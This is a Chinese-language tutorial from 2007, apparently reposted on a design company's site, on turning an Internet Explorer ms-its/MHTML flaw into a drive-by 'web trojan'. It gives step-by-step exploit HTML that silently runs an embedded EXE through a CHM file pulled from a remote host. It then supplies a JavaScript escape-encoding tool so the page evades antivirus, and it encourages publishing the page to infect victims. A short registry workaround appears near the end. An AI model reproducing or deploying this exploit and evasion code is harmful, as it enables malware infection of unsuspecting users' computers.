网站首页 | 网站维护 | 标志设计 | 平面设计 | 网站设计 | 技术文章 | 企业早知道 | 网站优化 | 客服案例 | VI设计 |画册设计
革新设计理念 和谐和简单造就不同凡响:商务万维理念 我们一直在努力 卓越塑造成功!
用心服务 携手进步 · 首 页 · 包装设计 · 海报设计 · 广告设计 · 网站推广 · WEB技术 ·行业新闻
 专业设计团队 网站建设专家 革新设计理念 构建和谐网络生活 携手客户 共求发展

技术参考

作者:佚名    文章来源:本站原创    点击数:    更新时间:2007-5-22

 

前几天的漏洞献给菜鸟学习,中国核客就在黑与白的中间站着
此漏洞被发现已不是一天两天的事了,考虑到用户的安全等因素,微软以及一些安全组织并没有公开发布此漏洞,只是近日发现网络上有越来越多的利用该漏洞捆绑木马的网页后美国计算机应急响应小组(Computer
Emergency Readiness Team,简称CERT)
才正式公布了微软IE浏览器中存在的一个最新漏洞,目前这一漏洞还没有完善的解决方案,用户即使采取了一定的保护措施仍然不能完全避免该漏洞所带来的危险。利用这一漏洞,入侵者可以欺骗IE浏览器中的InfoTech
Storage(ITS)协议处理器,使之从其它域获取脚本,并获得同目标计算机上本地区域相同的权限。CERT指出,入侵者在访问某一网站时通过使用一个特殊的URL地址就可以执行上述脚本,从而获得他人的信用卡信息甚至是造成整个网络瘫痪。这一漏洞的工作原理如下:IE浏览器通过ITS或者MHTML协议来标识一个不能访问或是不存在的MHTML文件;当IE浏览器没
有发现编译完成的HTML帮助文件(CHM)时,ITS协议处理器就可能会受到欺骗从而访问来自其它域的CHM文件。此时入侵者就可以通过对CHM文件进行精心设计,使之包含可以从其它域执行的脚本,从而交叉域安全模式也就被入侵者攻破了。


  闲话少说,立即进入正题。实现起来非常简单,相信稍微懂一点Html的人都能手动实现的。


第一步:写一个能够自动运行EXE文件的网页,文件内容很简单,如下:


<BODY onmouseup=document.selection.empty() oncontextmenu="return false"
onselectstart="return false" ondragstart="return false" onbeforecopy="return
false" oncopy=document.selection.empty()
onselect=document.selection.empty()>
<OBJECT id=RUNIT
codeBase=IEPack.exe type=application/x-oleobject height=0 width=0 OBJECT>


Body标签内进行了一些访问控制,屏蔽了鼠标进行选择、屏蔽鼠标右键、屏蔽鼠标的拖拽操作、防止Copy等等。第二个标签是负载EXE的代码,通过OBJECT标签负载一个二进制文件,注意这里的type类型为"application/x-oleobject",上面的代码在object中加入了一个名为"IEPack.exe"的执行文件,如果这时直接打开此html,你就会发现EXE文件也神奇的运行起来了,聪明的你是不是已经看出来点什么了?


第二步:将上面的的代码存成文件,暂定为"chm.html",并且把object标签内设定的EXE文件和网页放在同一个目录。不要以为这样就能运行了,IE不会主动下载服务器上的执行文件的。当然办法是有的,随便找个CHM制作工具,将这个页面和EXE文件一并打入CHM后打开CHM文件你就发现EXE也是同样的运行起来了。在这里我推荐用EasyCHM,很好用的。下载地址??~!@#$%^自己用狗狗搜去吧。


第三步:这一步最关键,这也是利用漏洞之所在!


再建立一个htm文件mm.htm,写入以下代码:


<BODY onmouseup=document.selection.empty() oncontextmenu="return false"
onselectstart="return false" ondragstart="return false" onbeforecopy="return
false" oncopy=document.selection.empty()
onselect=document.selection.empty()>
<TEXTAREA id=code style="DISPLAY:
none">
<object
data="ms-its:mhtml:file://c:\foo.mht!${ path }/help.chm::/chm.html"
type="text/x-scriptlet"></object>
</TEXTAREA>
<SCRIPT
language=javascript>
document.write(code.value.replace(/\${ path }/g,location.href.substring(0,location.href.indexOf('chm.html'))));
</SCRIPT>
<OBJECT
type="text/x-scriptlet"
data="ms-its:mhtml:file://c:\foo.mht!http://duduwolf.winzheng.com/public/IEpack/help.c ... gt;</OBJECT>


呵呵,如果觉得看起来乱七八糟的话建议将以上代码copy到htm编辑器中查看,就容易的多了,代码中第一个标签body和前面一个一样。第二个为textarea标签,请注意里面包含了一个object标签,这个标签就用到了IE的ms-its漏洞,data的值是一串带ms-its协议的文件路径,其中的${ path }只是为了掩人耳目罢了,紧接着看第三个标签,是一段javascript脚本,脚本的内容就是把textarea里的值(即那段<object
.....></object>)进行字符替换,要替换的内容就是${ path }前面的所有字符,大家要奇怪,这里为什么要替换呢,好好的直接写进去难道不行吗?当然不行!!
  因为IE在下在此页面后,谁都不知道它把这个页面的本地临时文件放到那个位置,你不知道位置,当然无法run
chm里面的那个EXE了,所以用代码里用location.href.substring(0,location.href.indexOf('chm.html'))得到了本地临时页面的全路径。location.href返回的就是当前页面的全路径文件名,然后用substring一选就很轻松得到路径了,再用replace替换,轻轻松松就得到chm文件的全路径名了。哦,这里忘了说,这个IE漏洞的关键就是客户端(IE)会自动下载服务器上的chm文件(抱歉,怎么把最关键的技术给忘了
汗。。。)。
  最后一个标签还是一个object,这个标签的作用就是显示chm里包含的那个htm文件,也就是第一、二步制作的那个chm.html文件。至于代码中两次出现的"ms-its:mhtml:file://c:\foo.mht!",这是ms-its的特定格式,具体什么意思我还没研究呢,等我知道了在告诉你:)


第四步:哈哈,你的最新潮的网页木马大终告成了,不过不要高兴得太早,根据今天我测试的结果,诺顿、赛门铁克、咖啡、瑞星(其他的杀毒没装,不知道)等都能成功截杀该网页木马了,你也不要丧气,我既然写了这篇文章就一定有解决办法的。杀毒软件查杀一个病毒的原理很简单,就是以二进制或者文本方式(脚本病毒)打开此文件,查找特定的病毒特征代码,在这里我估计大多数杀毒软件是查找"ms-its:mhtml:file://c:\foo.mht!"这行相关的,具体我没有再作测试,所以咱们在源代码中尽量避开此串代码就可以躲开杀毒软件的耳目了。躲开的方法很多,我用的是javascript脚本的字符串加密。加密函数是javascript自带的,加密用escape(src),解密用unescape(src),这两个函数执行后返回的就是加/解密后的字符串,在这里我给大家一个现成的,将以下代码copy入一个htm文件用IE打开,剩下的不用我说,地球人都会用!将你精心设计的这个网页发布到网上,然后就等着倒霉蛋中标吧(是不是太黑了?有点心狠手辣?不至于吧?没听乌鸦都说自己是黑客嘛。。。)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">
<HTML><HEAD><TITLE>网页代码加密解密器</TITLE>
<META
http-equiv=Content-Type content="text/html; charset=gb2312"><LINK

href="http://a0759.nease.net/images/css.css ... e=text/css
rel=stylesheet>
<SCRIPT language=JavaScript>
<!--
var
i=0;
var ie=(document.all)?1:0;
var ns=(document.layers)?1:0;


function initStyleElements() /* Styles for Buttons Init */
{
var c =
document.pad;
if
(ie)
{
//c.text.style.backgroundColor="#DDDDDD";
c.compileIt.style.backgroundColor="#C0C0A8";
c.compileIt.style.cursor="hand";
c.select.style.backgroundColor="#C0C0A8";
c.select.style.cursor="hand";
c.view.style.backgroundColor="#C0C0A8";
c.view.style.cursor="hand";
c.retur.style.backgroundColor="#C0C0A8";
c.retur.style.cursor="hand";
c.clear.style.backgroundColor="#C0C0A8";
c.clear.style.cursor="hand";
}
else
return;
}


/* Buttons Enlightment of "Compilation" panel */
function
LightOn(what)
{
if (ie) what.style.backgroundColor = '#E0E0D0';
else
return;
}
function FocusOn(what)
{
if (ie)
what.style.backgroundColor = '#EBEBEB';
else return;
}
function
LightOut(what)
{
if (ie) what.style.backgroundColor = '#C0C0A8';
else
return;
}
function FocusOff(what)
{
if (ie)
what.style.backgroundColor = '#DDDDDD';
else return;
}
/* Buttons
Enlightment of "Compilation" panel */


function generate() /* Generation of "Compilation" */
{
code =
document.pad.text.value;
if
(code)
{
document.pad.text.value='正在生成加密代码,请稍后!';
setTimeout("compile()",1000);
}
else
alert('请输入源文件代码')
}
function compile() /* The "Compilation"
*/
{
document.pad.text.value='';
compilation=escape(code);
document.pad.text.value="/<script>\n<!--\ndocument.write(unescape(\""+compilation+"\"));\n//-->\n<\/script>";
i++;
alert("页面被加密了
"+i+" 次!");
}
function selectCode() /* Selecting "Compilation" for Copying
*/
{
if(document.pad.text.value.length>0)
{
document.pad.text.focus();
document.pad.text.select();
}
else
alert('没有可以选择的文本内容!')
}
function preview() /* Preview for the
"Compilation"
*/
{
if(document.pad.text.value.length>0)
{
pr=window.open("","Preview","scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110");
pr.document.write(document.pad.text.value);
}
else
alert('没有可以预浏览的文本内容!')
}
function uncompile() /* Decompiling a
"Compilation" */
{
if
(document.pad.text.value.length>0)
{
source=unescape(document.pad.text.value);
document.pad.text.value=""+source+"";
}
else
alert('你需要生成被加密的代码后才能取回源代码!')
}
// -->
</SCRIPT>


<SCRIPT language=JavaScript
type=text/JavaScript>
<!--
function MM_swapImgRestore() {
//v3.0
var i,x,a=document.MM_sr;
for(i=0;a&&i<a.length&&(x=a)&&x.oSrc;i++)
x.src="/x.oSrc";
}


function MM_preloadImages() { //v3.0
var d=document; if(d.images){
if(!d.MM_p) d.MM_p=new Array();
var
i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length;
i++)
if (a.indexOf("#")!=0){ d.MM_p[j]=new Image;
d.MM_p[j++].src=a; } }
}


function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document;
if((p=n.indexOf("?"))>0&&parent.frames.length)
{
d=parent.frames[n.substring(p+1)].document;
n=n.substring(0,p); }
if(!(x=d[n])&&d.all) x=d.all[n]; for
(i=0;!x&&i<d.forms.length;i++)
x=d.forms[n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++)
x=MM_findObj(n,d.layers.document);
if(!x && d.getElementById)
x=d.getElementById(n); return x;
}


function MM_swapImage() { //v3.0
var i,j=0,x,a=MM_swapImage.arguments;
document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
if
((x=MM_findObj(a))!=null){ document.MM_sr[j++]=x; if(!x.oSrc) x.osrc="/x.src";
x.src="/a[i+2]"; }
}
//-->
</SCRIPT>


<META content="MSHTML 6.00.2800.1106"
name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff

onload="MM_preloadImages('../../images/Close.gif')">
<TABLE
cellSpacing=0 cellPadding=0 width=500 align=center
border=0>
<TBODY>
<TR>
<TH>网页代码加密解密器</TH></TR>
<TR>
<TD>
<HR
width="95%" noShade
SIZE=1>
</TD></TR>
<TR>
<TD>
<FORM
name=pad method=post align="center"><TEXTAREA class=v9pt style="WIDTH:
100%; BACKGROUND-COLOR: #ebebeb" name=text rows=15 cols=100></TEXTAREA>

<BR><INPUT onmouseover=LightOn(this) onclick=generate()
onmouseout=LightOut(this) type=button value=加密代码 name=compileIt>

<INPUT onmouseover=LightOn(this) onclick=selectCode()
onmouseout=LightOut(this) type=button value=全选代码 name=select>
<INPUT
onmouseover=LightOn(this) onclick=preview() onmouseout=LightOut(this)
type=button value=预浏览页面 name=view>
<INPUT onmouseover=LightOn(this)
onclick=uncompile() onmouseout=LightOut(this) type=button value=原代码
name=retur>
<INPUT onmouseover=LightOn(this) onmouseout=LightOut(this)
type=reset value=清空 name=clear>

</FORM></TD></TR>
<TR>
<TD
align=middle><A

onmouseover="MM_swapImage('Image2','','../../images/Close.gif',1)"

onmouseout=MM_swapImgRestore() href="javascript:window.close()"><IMG

height=18 src="http://a0759.nease.net/images/Close- ... p;width=52

border=0
name=Image2></A></TD></TR></TBODY></TABLE></BODY></HTML>


忘了说明一下,以上代码也是我从网上扒下来的,作者忘了,在这里感谢作者给大家提供一个这么好用的工具!!还有一点需要说明就是加密次数不受限制的,点击一次加密一次,再点再加密,不嫌麻烦你就多点几次,不过这会影响页面解析速度的,页面解析时是一层一层进行解密,加几次就要解几次的。我在测试程序里加密三次,相信加密后地球人都看不懂的:)


打补丁:目前微软还没有提供彻底的解决办法,为了安全,我建议大家进行手动修改注册表屏蔽此漏洞,方法是:
打开注册表,转入HKEY_CLASSES_ROOT\PROTOCOLS\Handle主键下,重命名ms-its键就行了,比如改为:ms-its.bak,如果你在浏览此页面时正如文章开头所说弹出了一个窗体,直接点击那个按钮也可以达到相同的作用。


后记:写这篇文章的目的也就是让大家认识一下那个传中恐怖的网页木马到底是怎么诞生的,什么东西都是人编出来的,这个木马也是我在中毒后用工具一层一层拨开后源代码,细细研究后的成果。最后我给大家推荐几个工具,对于分析网页很有好处。第一个是MyIE2,他的浏览器还能说得过去,让我称赞的是我安装了一个第三方的插件:ViewPage,这个插件很了不起,能快速显示当前页面的页面属性、图像资源、网页源码、Flash、链接列表、CSS、Script等等。有了这个工具你就可以快速知道人家的网页时怎么“炼”成的。第二个要推荐的就是EditPlus文本编辑器,太好用了,真的太好用了。。。。。第三个就是CSDN.BCB版的版主AWeay写的"MySpy"软件,就是用他我才查看到了chm文件的源代码:),推荐的这几款工具大家如果要用的话用狗狗搜吧

 

 

 
  • 上一篇文章:

  • 下一篇文章: 没有了

  • 联系我们 | 关于商维 | 友情链接 | 网站地图 商务万维:网站设计|名片设计|VI设计|包装设计|广告设计|画册设计|广告设计|海报设计
    Email:info@35www.net 商务万维理念